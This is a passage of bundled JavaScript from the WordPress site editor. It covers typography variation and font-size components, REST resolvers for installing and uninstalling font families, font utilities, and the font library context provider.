  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(variation_GlobalStylesContext.Provider, {
    value: context,
    children: showTooltip ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
      text: variation?.title,
      children: content
    }) : content
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-typography.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





function TypographyVariations({
  title,
  gap = 2
}) {
  const propertiesToFilter = ['typography'];
  const typographyVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);

  // Return null if there is only one variation (the default).
  if (typographyVariations?.length <= 1) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 3,
    children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
      level: 3,
      children: title
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
      columns: 3,
      gap: gap,
      className: "edit-site-global-styles-style-variations-container",
      children: typographyVariations.map((variation, index) => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
          variation: variation,
          properties: propertiesToFilter,
          showTooltip: true,
          children: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_typography, {
            variation: variation
          })
        }, index);
      })
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes-count.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function FontSizes() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 2,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
        level: 3,
        children: (0,external_wp_i18n_namespaceObject.__)('Font Sizes')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      isBordered: true,
      isSeparated: true,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        path: "/typography/font-sizes",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          direction: "row",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
            children: (0,external_wp_i18n_namespaceObject.__)('Font size presets')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
          })]
        })
      })
    })]
  });
}
/* harmony default export */ const font_sizes_count = (FontSizes);

;// ./node_modules/@wordpress/icons/build-module/library/settings.js
/**
 * WordPress dependencies
 */


const settings_settings = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z"
  })]
});
/* harmony default export */ const library_settings = (settings_settings);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/resolvers.js
/**
 * WordPress dependencies
 */

const FONT_FAMILIES_URL = '/wp/v2/font-families';
const FONT_COLLECTIONS_URL = '/wp/v2/font-collections';
async function fetchInstallFontFamily(data) {
  const config = {
    path: FONT_FAMILIES_URL,
    method: 'POST',
    body: data
  };
  const response = await external_wp_apiFetch_default()(config);
  return {
    id: response.id,
    ...response.font_family_settings,
    fontFace: []
  };
}
async function fetchInstallFontFace(fontFamilyId, data) {
  const config = {
    path: `${FONT_FAMILIES_URL}/${fontFamilyId}/font-faces`,
    method: 'POST',
    body: data
  };
  const response = await external_wp_apiFetch_default()(config);
  return {
    id: response.id,
    ...response.font_face_settings
  };
}
async function fetchGetFontFamilyBySlug(slug) {
  const config = {
    path: `${FONT_FAMILIES_URL}?slug=${slug}&_embed=true`,
    method: 'GET'
  };
  const response = await external_wp_apiFetch_default()(config);
  if (!response || response.length === 0) {
    return null;
  }
  const fontFamilyPost = response[0];
  return {
    id: fontFamilyPost.id,
    ...fontFamilyPost.font_family_settings,
    fontFace: fontFamilyPost?._embedded?.font_faces.map(face => face.font_face_settings) || []
  };
}
async function fetchUninstallFontFamily(fontFamilyId) {
  const config = {
    path: `${FONT_FAMILIES_URL}/${fontFamilyId}?force=true`,
    method: 'DELETE'
  };
  return await external_wp_apiFetch_default()(config);
}
async function fetchFontCollections() {
  const config = {
    path: `${FONT_COLLECTIONS_URL}?_fields=slug,name,description`,
    method: 'GET'
  };
  return await external_wp_apiFetch_default()(config);
}
async function fetchFontCollection(id) {
  const config = {
    path: `${FONT_COLLECTIONS_URL}/${id}`,
    method: 'GET'
  };
  return await external_wp_apiFetch_default()(config);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/constants.js
/**
 * WordPress dependencies
 */

const ALLOWED_FILE_EXTENSIONS = ['otf', 'ttf', 'woff', 'woff2'];
const FONT_WEIGHTS = {
  100: (0,external_wp_i18n_namespaceObject._x)('Thin', 'font weight'),
  200: (0,external_wp_i18n_namespaceObject._x)('Extra-light', 'font weight'),
  300: (0,external_wp_i18n_namespaceObject._x)('Light', 'font weight'),
  400: (0,external_wp_i18n_namespaceObject._x)('Normal', 'font weight'),
  500: (0,external_wp_i18n_namespaceObject._x)('Medium', 'font weight'),
  600: (0,external_wp_i18n_namespaceObject._x)('Semi-bold', 'font weight'),
  700: (0,external_wp_i18n_namespaceObject._x)('Bold', 'font weight'),
  800: (0,external_wp_i18n_namespaceObject._x)('Extra-bold', 'font weight'),
  900: (0,external_wp_i18n_namespaceObject._x)('Black', 'font weight')
};
const FONT_STYLES = {
  normal: (0,external_wp_i18n_namespaceObject._x)('Normal', 'font style'),
  italic: (0,external_wp_i18n_namespaceObject._x)('Italic', 'font style')
};

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





/**
 * Browser dependencies
 */
const {
  File
} = window;
const {
  kebabCase
} = unlock(external_wp_components_namespaceObject.privateApis);
function setUIValuesNeeded(font, extraValues = {}) {
  if (!font.name && (font.fontFamily || font.slug)) {
    font.name = font.fontFamily || font.slug;
  }
  return {
    ...font,
    ...extraValues
  };
}
function isUrlEncoded(url) {
  if (typeof url !== 'string') {
    return false;
  }
  return url !== decodeURIComponent(url);
}
function getFontFaceVariantName(face) {
  const weightName = FONT_WEIGHTS[face.fontWeight] || face.fontWeight;
  const styleName = face.fontStyle === 'normal' ? '' : FONT_STYLES[face.fontStyle] || face.fontStyle;
  return `${weightName} ${styleName}`;
}
function mergeFontFaces(existing = [], incoming = []) {
  const map = new Map();
  for (const face of existing) {
    map.set(`${face.fontWeight}${face.fontStyle}`, face);
  }
  for (const face of incoming) {
    // This will overwrite if the src already exists, keeping it unique.
    map.set(`${face.fontWeight}${face.fontStyle}`, face);
  }
  return Array.from(map.values());
}
function mergeFontFamilies(existing = [], incoming = []) {
  const map = new Map();
  // Add the existing array to the map.
  for (const font of existing) {
    map.set(font.slug, {
      ...font
    });
  }
  // Add the incoming array to the map, overwriting existing values excepting fontFace that need to be merged.
  for (const font of incoming) {
    if (map.has(font.slug)) {
      const {
        fontFace: incomingFontFaces,
        ...restIncoming
      } = font;
      const existingFont = map.get(font.slug);
      // Merge the fontFaces existing with the incoming fontFaces.
      const mergedFontFaces = mergeFontFaces(existingFont.fontFace, incomingFontFaces);
      // Except for the fontFace key all the other keys are overwritten with the incoming values.
      map.set(font.slug, {
        ...restIncoming,
        fontFace: mergedFontFaces
      });
    } else {
      map.set(font.slug, {
        ...font
      });
    }
  }
  return Array.from(map.values());
}

/*
 * Loads the font face from a URL and adds it to the browser.
 * It also adds it to the iframe document.
 */
async function loadFontFaceInBrowser(fontFace, source, addTo = 'all') {
  let dataSource;
  if (typeof source === 'string') {
    dataSource = `url(${source})`;
    // eslint-disable-next-line no-undef
  } else if (source instanceof File) {
    dataSource = await source.arrayBuffer();
  } else {
    return;
  }
  const newFont = new window.FontFace(formatFontFaceName(fontFace.fontFamily), dataSource, {
    style: fontFace.fontStyle,
    weight: fontFace.fontWeight
  });
  const loadedFace = await newFont.load();
  if (addTo === 'document' || addTo === 'all') {
    document.fonts.add(loadedFace);
  }
  if (addTo === 'iframe' || addTo === 'all') {
    const iframeDocument = document.querySelector('iframe[name="editor-canvas"]').contentDocument;
    iframeDocument.fonts.add(loadedFace);
  }
}

/*
 * Unloads the font face and remove it from the browser.
 * It also removes it from the iframe document.
 *
 * Note that Font faces that were added to the set using the CSS @font-face rule
 * remain connected to the corresponding CSS, and cannot be deleted.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/delete.
 */
function unloadFontFaceInBrowser(fontFace, removeFrom = 'all') {
  const unloadFontFace = fonts => {
    fonts.forEach(f => {
      if (f.family === formatFontFaceName(fontFace?.fontFamily) && f.weight === fontFace?.fontWeight && f.style === fontFace?.fontStyle) {
        fonts.delete(f);
      }
    });
  };
  if (removeFrom === 'document' || removeFrom === 'all') {
    unloadFontFace(document.fonts);
  }
  if (removeFrom === 'iframe' || removeFrom === 'all') {
    const iframeDocument = document.querySelector('iframe[name="editor-canvas"]').contentDocument;
    unloadFontFace(iframeDocument.fonts);
  }
}

/**
 * Retrieves the display source from a font face src.
 *
 * @param {string|string[]} input - The font face src.
 * @return {string|undefined} The display source or undefined if the input is invalid.
 */
function getDisplaySrcFromFontFace(input) {
  if (!input) {
    return;
  }
  let src;
  if (Array.isArray(input)) {
    src = input[0];
  } else {
    src = input;
  }
  // It's expected theme fonts will already be loaded in the browser.
  if (src.startsWith('file:.')) {
    return;
  }
  if (!isUrlEncoded(src)) {
    src = encodeURI(src);
  }
  return src;
}
function makeFontFamilyFormData(fontFamily) {
  const formData = new FormData();
  const {
    fontFace,
    category,
    ...familyWithValidParameters
  } = fontFamily;
  const fontFamilySettings = {
    ...familyWithValidParameters,
    slug: kebabCase(fontFamily.slug)
  };
  formData.append('font_family_settings', JSON.stringify(fontFamilySettings));
  return formData;
}
function makeFontFacesFormData(font) {
  if (font?.fontFace) {
    const fontFacesFormData = font.fontFace.map((item, faceIndex) => {
      const face = {
        ...item
      };
      const formData = new FormData();
      if (face.file) {
        // Normalize to an array, since face.file may be a single file or an array of files.
        const files = Array.isArray(face.file) ? face.file : [face.file];
        const src = [];
        files.forEach((file, key) => {
          // Slugified file name because the it might contain spaces or characters treated differently on the server.
          const fileId = `file-${faceIndex}-${key}`;
          // Add the files to the formData
          formData.append(fileId, file, file.name);
          src.push(fileId);
        });
        face.src = src.length === 1 ? src[0] : src;
        delete face.file;
        formData.append('font_face_settings', JSON.stringify(face));
      } else {
        formData.append('font_face_settings', JSON.stringify(face));
      }
      return formData;
    });
    return fontFacesFormData;
  }
}
async function batchInstallFontFaces(fontFamilyId, fontFacesData) {
  const responses = [];

  /*
   * Uses the same response format as Promise.allSettled, but executes requests in sequence to work
   * around a race condition that can cause an error when the fonts directory doesn't exist yet.
   */
  for (const faceData of fontFacesData) {
    try {
      const response = await fetchInstallFontFace(fontFamilyId, faceData);
      responses.push({
        status: 'fulfilled',
        value: response
      });
    } catch (error) {
      responses.push({
        status: 'rejected',
        reason: error
      });
    }
  }
  const results = {
    errors: [],
    successes: []
  };
  responses.forEach((result, index) => {
    if (result.status === 'fulfilled') {
      const response = result.value;
      if (response.id) {
        results.successes.push(response);
      } else {
        results.errors.push({
          data: fontFacesData[index],
          message: `Error: ${response.message}`
        });
      }
    } else {
      // Handle network errors or other fetch-related errors
      results.errors.push({
        data: fontFacesData[index],
        message: result.reason.message
      });
    }
  });
  return results;
}

/*
 * Downloads a font face asset from a URL to the client and returns a File object.
 */
async function downloadFontFaceAssets(src) {
  // Normalize to an array, since `src` could be a string or array.
  src = Array.isArray(src) ? src : [src];
  const files = await Promise.all(src.map(async url => {
    return fetch(new Request(url)).then(response => {
      if (!response.ok) {
        throw new Error(`Error downloading font face asset from ${url}. Server responded with status: ${response.status}`);
      }
      return response.blob();
    }).then(blob => {
      const filename = url.split('/').pop();
      const file = new File([blob], filename, {
        type: blob.type
      });
      return file;
    });
  }));

  // If we only have one file return it (not the array).  Otherwise return all of them in the array.
  return files.length === 1 ? files[0] : files;
}

/*
 * Determine if a given Font Face is present in a given collection.
 * We determine that a font face has been installed by comparing the fontWeight and fontStyle
 *
 * @param {Object} fontFace The Font Face to seek
 * @param {Array} collection The Collection to seek in
 * @returns True if the font face is found in the collection.  Otherwise False.
 */
function checkFontFaceInstalled(fontFace, collection) {
  return -1 !== collection.findIndex(collectionFontFace => {
    return collectionFontFace.fontWeight === fontFace.fontWeight && collectionFontFace.fontStyle === fontFace.fontStyle;
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/toggleFont.js
/**
 * Toggles the activation of a given font or font variant within a list of custom fonts.
 *
 * - If only the font is provided (without face), the entire font family's activation is toggled.
 * - If both font and face are provided, the activation of the specific font variant is toggled.
 *
 * @param {Object} font            - The font to be toggled.
 * @param {string} font.slug       - The unique identifier for the font.
 * @param {Array}  [font.fontFace] - The list of font variants (faces) associated with the font.
 *
 * @param {Object} [face]          - The specific font variant to be toggled.
 * @param {string} face.fontWeight - The weight of the font variant.
 * @param {string} face.fontStyle  - The style of the font variant.
 *
 * @param {Array}  initialfonts    - The initial list of custom fonts.
 *
 * @return {Array} - The updated list of custom fonts with the font/font variant toggled.
 *
 * @example
 * const customFonts = [
 *     { slug: 'roboto', fontFace: [{ fontWeight: '400', fontStyle: 'normal' }] }
 * ];
 *
 * toggleFont({ slug: 'roboto' }, null, customFonts);
 * // This will remove 'roboto' from customFonts
 *
 * toggleFont({ slug: 'roboto' }, { fontWeight: '400', fontStyle: 'normal' }, customFonts);
 * // This will remove the specified face from 'roboto' in customFonts
 *
 * toggleFont({ slug: 'roboto' }, { fontWeight: '500', fontStyle: 'normal' }, customFonts);
 * // This will add the specified face to 'roboto' in customFonts
 */
function toggleFont(font, face, initialfonts) {
  // Helper to check if a font is activated based on its slug
  const isFontActivated = f => f.slug === font.slug;

  // Helper to get the activated font from a list of fonts
  const getActivatedFont = fonts => fonts.find(isFontActivated);

  // Toggle the activation status of an entire font family
  const toggleEntireFontFamily = activatedFont => {
    if (!activatedFont) {
      // If the font is not active, activate the entire font family
      return [...initialfonts, font];
    }
    // If the font is already active, deactivate the entire font family
    return initialfonts.filter(f => !isFontActivated(f));
  };

  // Toggle the activation status of a specific font variant
  const toggleFontVariant = activatedFont => {
    const isFaceActivated = f => f.fontWeight === face.fontWeight && f.fontStyle === face.fontStyle;
    if (!activatedFont) {
      // If the font family is not active, activate the font family with the font variant
      return [...initialfonts, {
        ...font,
        fontFace: [face]
      }];
    }
    let newFontFaces = activatedFont.fontFace || [];
    if (newFontFaces.find(isFaceActivated)) {
      // If the font variant is active, deactivate it
      newFontFaces = newFontFaces.filter(f => !isFaceActivated(f));
    } else {
      // If the font variant is not active, activate it
      newFontFaces = [...newFontFaces, face];
    }

    // If there are no more font faces, deactivate the font family
    if (newFontFaces.length === 0) {
      return initialfonts.filter(f => !isFontActivated(f));
    }

    // Return updated fonts list with toggled font variant
    return initialfonts.map(f => isFontActivated(f) ? {
      ...f,
      fontFace: newFontFaces
    } : f);
  };
  const activatedFont = getActivatedFont(initialfonts);
  if (!face) {
    return toggleEntireFontFamily(activatedFont);
  }
  return toggleFontVariant(activatedFont);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/context.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


const {
  useGlobalSetting: context_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);




const FontLibraryContext = (0,external_wp_element_namespaceObject.createContext)({});
function FontLibraryProvider({
  children
}) {
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    globalStylesId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      globalStylesId: __experimentalGetCurrentGlobalStylesId()
    };
  });
  const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)('root', 'globalStyles', globalStylesId);
  const [isInstalling, setIsInstalling] = (0,external_wp_element_namespaceObject.useState)(false);
  const [refreshKey, setRefreshKey] = (0,external_wp_element_namespaceObject.useState)(0);
  const refreshLibrary = () => {
    setRefreshKey(Date.now());
  };
  const {
    records: libraryPosts = [],
    isResolving: isResolvingLibrary
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', 'wp_font_family', {
    refreshKey,
    _embed: true
  });
  const libraryFonts = (libraryPosts || []).map(fontFamilyPost => {
    return {
      id: fontFamilyPost.id,
      ...fontFamilyPost.font_family_settings,
      fontFace: fontFamilyPost?._embedded?.font_faces.map(face => face.font_face_settings) || []
    };
  }) || [];

  // Global Styles (settings) font families
  const [fontFamilies, setFontFamilies] = context_useGlobalSetting('typography.fontFamilies');

  /*
   * Save the font families to the database.
  	 * This function is called when the user activates or deactivates a font family.
   * It only updates the global styles post content in the database for new font families.
   * This avoids saving other styles/settings changed by the user using other parts of the editor.
   *
   * It uses the font families from the param to avoid using the font families from an outdated state.
   *
   * @param {Array} fonts - The font families that will be saved to the database.
   */
  const saveFontFamilies = async fonts => {
    // Gets the global styles database post content.
    const updatedGlobalStyles = globalStyles.record;

    // Updates the database version of global styles with the edited font families in the client.
    setNestedValue(updatedGlobalStyles, ['settings', 'typography', 'fontFamilies'], fonts);

    // Saves a new version of the global styles in the database.
    await saveEntityRecord('root', 'globalStyles', updatedGlobalStyles);
  };

  // Library Fonts
  const [modalTabOpen, setModalTabOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const [libraryFontSelected, setLibraryFontSelected] = (0,external_wp_element_namespaceObject.useState)(null);

  // Themes Fonts are the fonts defined in the global styles (database persisted theme.json data).
  const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map(f => setUIValuesNeeded(f, {
    source: 'theme'
  })).sort((a, b) => a.name.localeCompare(b.name)) : [];
  const customFonts = fontFamilies?.custom ? fontFamilies.custom.map(f => setUIValuesNeeded(f, {
    source: 'custom'
  })).sort((a, b) => a.name.localeCompare(b.name)) : [];
  const baseCustomFonts = libraryFonts ? libraryFonts.map(f => setUIValuesNeeded(f, {
    source: 'custom'
  })).sort((a, b) => a.name.localeCompare(b.name)) : [];
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!modalTabOpen) {
      setLibraryFontSelected(null);
    }
  }, [modalTabOpen]);
  const handleSetLibraryFontSelected = font => {
    // If font is null, reset the selected font
    if (!font) {
      setLibraryFontSelected(null);
      return;
    }
    const fonts = font.source === 'theme' ? themeFonts : baseCustomFonts;

    // Tries to find the font in the installed fonts
    const fontSelected = fonts.find(f => f.slug === font.slug);
    // If the font is not found (it is only defined in custom styles), use the font from custom styles
    setLibraryFontSelected({
      ...(fontSelected || font),
      source: font.source
    });
  };

  // Demo
  const [loadedFontUrls] = (0,external_wp_element_namespaceObject.useState)(new Set());
  const getAvailableFontsOutline = availableFontFamilies => {
    const outline = availableFontFamilies.reduce((acc, font) => {
      const availableFontFaces = font?.fontFace && font.fontFace?.length > 0 ? font?.fontFace.map(face => `${face.fontStyle + face.fontWeight}`) : ['normal400']; // If the font doesn't have fontFace, we assume it is a system font and we add the defaults: normal 400

      acc[font.slug] = availableFontFaces;
      return acc;
    }, {});
    return outline;
  };
  const getActivatedFontsOutline = source => {
    switch (source) {
      case 'theme':
        return getAvailableFontsOutline(themeFonts);
      case 'custom':
      default:
        return getAvailableFontsOutline(customFonts);
    }
  };
  const isFontActivated = (slug, style, weight, source) => {
    if (!style && !weight) {
      return !!getActivatedFontsOutline(source)[slug];
    }
    return !!getActivatedFontsOutline(source)[slug]?.includes(style + weight);
  };
  const getFontFacesActivated = (slug, source) => {
    return getActivatedFontsOutline(source)[slug] || [];
  };
  async function installFonts(fontFamiliesToInstall) {
    setIsInstalling(true);
    try {
      const fontFamiliesToActivate = [];
      let installationErrors = [];
      for (const fontFamilyToInstall of fontFamiliesToInstall) {
        let isANewFontFamily = false;

        // Get the font family if it already exists.
        let installedFontFamily = await fetchGetFontFamilyBySlug(fontFamilyToInstall.slug);

        // Otherwise create it.
        if (!installedFontFamily) {
          isANewFontFamily = true;
          // Prepare font family form data to install.
          installedFontFamily = await fetchInstallFontFamily(makeFontFamilyFormData(fontFamilyToInstall));
        }

        // Collect font faces that have already been installed (to be activated later)
        const alreadyInstalledFontFaces = installedFontFamily.fontFace && fontFamilyToInstall.fontFace ? installedFontFamily.fontFace.filter(fontFaceToInstall => checkFontFaceInstalled(fontFaceToInstall, fontFamilyToInstall.fontFace)) : [];

        // Filter out Font Faces that have already been installed (so that they are not re-installed)
        if (installedFontFamily.fontFace && fontFamilyToInstall.fontFace) {
          fontFamilyToInstall.fontFace = fontFamilyToInstall.fontFace.filter(fontFaceToInstall => !checkFontFaceInstalled(fontFaceToInstall, installedFontFamily.fontFace));
        }

        // Install the fonts (upload the font files to the server and create the post in the database).
        let successfullyInstalledFontFaces = [];
        let unsuccessfullyInstalledFontFaces = [];
        if (fontFamilyToInstall?.fontFace?.length > 0) {
          const response = await batchInstallFontFaces(installedFontFamily.id, makeFontFacesFormData(fontFamilyToInstall));
          successfullyInstalledFontFaces = response?.successes;
          unsuccessfullyInstalledFontFaces = response?.errors;
        }

        // Use the successfully installed font faces
        // As well as any font faces that were already installed (those will be activated)
        if (successfullyInstalledFontFaces?.length > 0 || alreadyInstalledFontFaces?.length > 0) {
          // Use font data from REST API not from client to ensure
          // correct font information is used.
          installedFontFamily.fontFace = [...successfullyInstalledFontFaces];
          fontFamiliesToActivate.push(installedFontFamily);
        }

        // If it's a system font but was installed successfully, activate it.
        if (installedFontFamily && !fontFamilyToInstall?.fontFace?.length) {
          fontFamiliesToActivate.push(installedFontFamily);
        }

        // If the font family is new and is not a system font, delete it to avoid having font families without font faces.
        if (isANewFontFamily && fontFamilyToInstall?.fontFace?.length > 0 && successfullyInstalledFontFaces?.length === 0) {
          await fetchUninstallFontFamily(installedFontFamily.id);
        }
        installationErrors = installationErrors.concat(unsuccessfullyInstalledFontFaces);
      }
      installationErrors = installationErrors.reduce((unique, item) => unique.includes(item.message) ? unique : [...unique, item.message], []);
      if (fontFamiliesToActivate.length > 0) {
        // Activate the font family (add the font family to the global styles).
        const activeFonts = activateCustomFontFamilies(fontFamiliesToActivate);
        // Save the global styles to the database.
        await saveFontFamilies(activeFonts);
        refreshLibrary();
      }
      if (installationErrors.length > 0) {
        const installError = new Error((0,external_wp_i18n_namespaceObject.__)('There was an error installing fonts.'));
        installError.installationErrors = installationErrors;
        throw installError;
      }
    } finally {
      setIsInstalling(false);
    }
  }
  async function uninstallFontFamily(fontFamilyToUninstall) {
    try {
      // Uninstall the font family.
      // (Removes the font files from the server and the posts from the database).
      const uninstalledFontFamily = await fetchUninstallFontFamily(fontFamilyToUninstall.id);

      // Deactivate the font family if delete request is successful
      // (Removes the font family from the global styles).
      if (uninstalledFontFamily.deleted) {
        const activeFonts = deactivateFontFamily(fontFamilyToUninstall);
        // Save the global styles to the database.
        await saveFontFamilies(activeFonts);
      }

      // Refresh the library (the library font families from database).
      refreshLibrary();
      return uninstalledFontFamily;
    } catch (error) {
      // eslint-disable-next-line no-console
      console.error(`There was an error uninstalling the font family:`, error);
      throw error;
    }
  }
  const deactivateFontFamily = font => {
    var _fontFamilies$font$so;
    // If the user doesn't have custom fonts defined, include as custom fonts all the theme fonts
    // We want to save as active all the theme fonts at the beginning
    const initialCustomFonts = (_fontFamilies$font$so = fontFamilies?.[font.source]) !== null && _fontFamilies$font$so !== void 0 ? _fontFamilies$font$so : [];
    const newCustomFonts = initialCustomFonts.filter(f => f.slug !== font.slug);
    const activeFonts = {
      ...fontFamilies,
      [font.source]: newCustomFonts
    };
    setFontFamilies(activeFonts);
    if (font.fontFace) {
      font.fontFace.forEach(face => {
        unloadFontFaceInBrowser(face, 'all');
      });
    }
    return activeFonts;
  };
  const activateCustomFontFamilies = fontsToAdd => {
    const fontsToActivate = cleanFontsForSave(fontsToAdd);
    const activeFonts = {
      ...fontFamilies,
      // Merge the existing custom fonts with the new fonts.
      custom: mergeFontFamilies(fontFamilies?.custom, fontsToActivate)
    };

    // Activate the fonts by set the new custom fonts array.
    setFontFamilies(activeFonts);
    loadFontsInBrowser(fontsToActivate);
    return activeFonts;
  };

  // Removes the id from the families and faces to avoid saving that to global styles post content.
  const cleanFontsForSave = fonts => {
    return fonts.map(({
      id: _familyDbId,
      fontFace,
      ...font
    }) => ({
      ...font,
      ...(fontFace && fontFace.length > 0 ? {
        fontFace: fontFace.map(({
          id: _faceDbId,
          ...face
        }) => face)
      } : {})
    }));
  };
  const loadFontsInBrowser = fonts => {
    // Add custom fonts to the browser.
    fonts.forEach(font => {
      if (font.fontFace) {
        font.fontFace.forEach(face => {
          // Load font faces just in the iframe because they already are in the document.
          loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face.src), 'all');
        });
      }
    });
  };
  const toggleActivateFont = (font, face) => {
    var _fontFamilies$font$so2;
    // If the user doesn't have custom fonts defined, include as custom fonts all the theme fonts
    // We want to save as active all the theme fonts at the beginning
    const initialFonts = (_fontFamilies$font$so2 = fontFamilies?.[font.source]) !== null && _fontFamilies$font$so2 !== void 0 ? _fontFamilies$font$so2 : [];
    // Toggles the received font family or font face
    const newFonts = toggleFont(font, face, initialFonts);
    // Updates the font families activated in global settings:
    setFontFamilies({
      ...fontFamilies,
      [font.source]: newFonts
    });
    const isFaceActivated = isFontActivated(font.slug, face?.fontStyle, face?.fontWeight, font.source);
    if (isFaceActivated) {
      unloadFontFaceInBrowser(face, 'all');
    } else {
      loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face?.src), 'all');
    }
  };
  const loadFontFaceAsset = async fontFace => {
    // If the font doesn't have a src, don't load it.
    if (!fontFace.src) {
      return;
    }
    // Get the src of the font.
    const src = getDisplaySrcFromFontFace(fontFace.src);
    // If the font is already loaded, don't load it again.
    if (!src || loadedFontUrls.has(src)) {
      return;
    }
    // Load the font in the browser.
    loadFontFaceInBrowser(fontFace, src, 'document');
    // Add the font to the loaded fonts list.
    loadedFontUrls.add(src);
  };

  // Font Collections
  const [collections, setFontCollections] = (0,external_wp_element_namespaceObject.useState)([]);
  const getFontCollections = async () => {
    const response = await fetchFontCollections();
    setFontCollections(response);
  };
  const getFontCollection = async slug => {
    try {
      const hasData = !!collections.find(collection => collection.slug === slug)?.font_families;
      if (hasData) {
        return;
      }
      const response = await fetchFontCollection(slug);
      const updatedCollections = collections.map(collection => collection.slug === slug ? {
        ...collection,
        ...response
      } : collection);
      setFontCollections(updatedCollections);
    } catch (e) {
      // eslint-disable-next-line no-console
      console.error(e);
      throw e;
    }
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    getFontCollections();
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontLibraryContext.Provider, {
    value: {
      libraryFontSelected,
      handleSetLibraryFontSelected,
      fontFamilies,
      baseCustomFonts,
      isFontActivated,
      getFontFacesActivated,
      loadFontFaceAsset,
      installFonts,
      uninstallFontFamily,
      toggleActivateFont,
      getAvailableFontsOutline,
      modalTabOpen,
      setModalTabOpen,
      refreshLibrary,
      saveFontFamilies,
      isResolvingLibrary,
      isInstalling,
      collections,
      getFontCollection
    },
    children: children
  });
}
/* harmony default export */ const context = (FontLibraryProvider);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-demo.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



function getPreviewUrl(fontFace) {
  if (fontFace.preview) {
    return fontFace.preview;
  }
  if (fontFace.src) {
    return Array.isArray(fontFace.src) ? fontFace.src[0] : fontFace.src;
  }
}
function getDisplayFontFace(font) {
  // if this IS a font face return it
  if (font.fontStyle || font.fontWeight) {
    return font;
  }
  // if this is a font family with a collection of font faces
  // return the first one that is normal and 400 OR just the first one
  if (font.fontFace && font.fontFace.length) {
    return font.fontFace.find(face => face.fontStyle === 'normal' && face.fontWeight === '400') || font.fontFace[0];
  }
  // This must be a font family with no font faces
  // return a fake font face
  return {
    fontStyle: 'normal',
    fontWeight: '400',
    fontFamily: font.fontFamily,
    fake: true
  };
}
function FontDemo({
  font,
  text
}) {
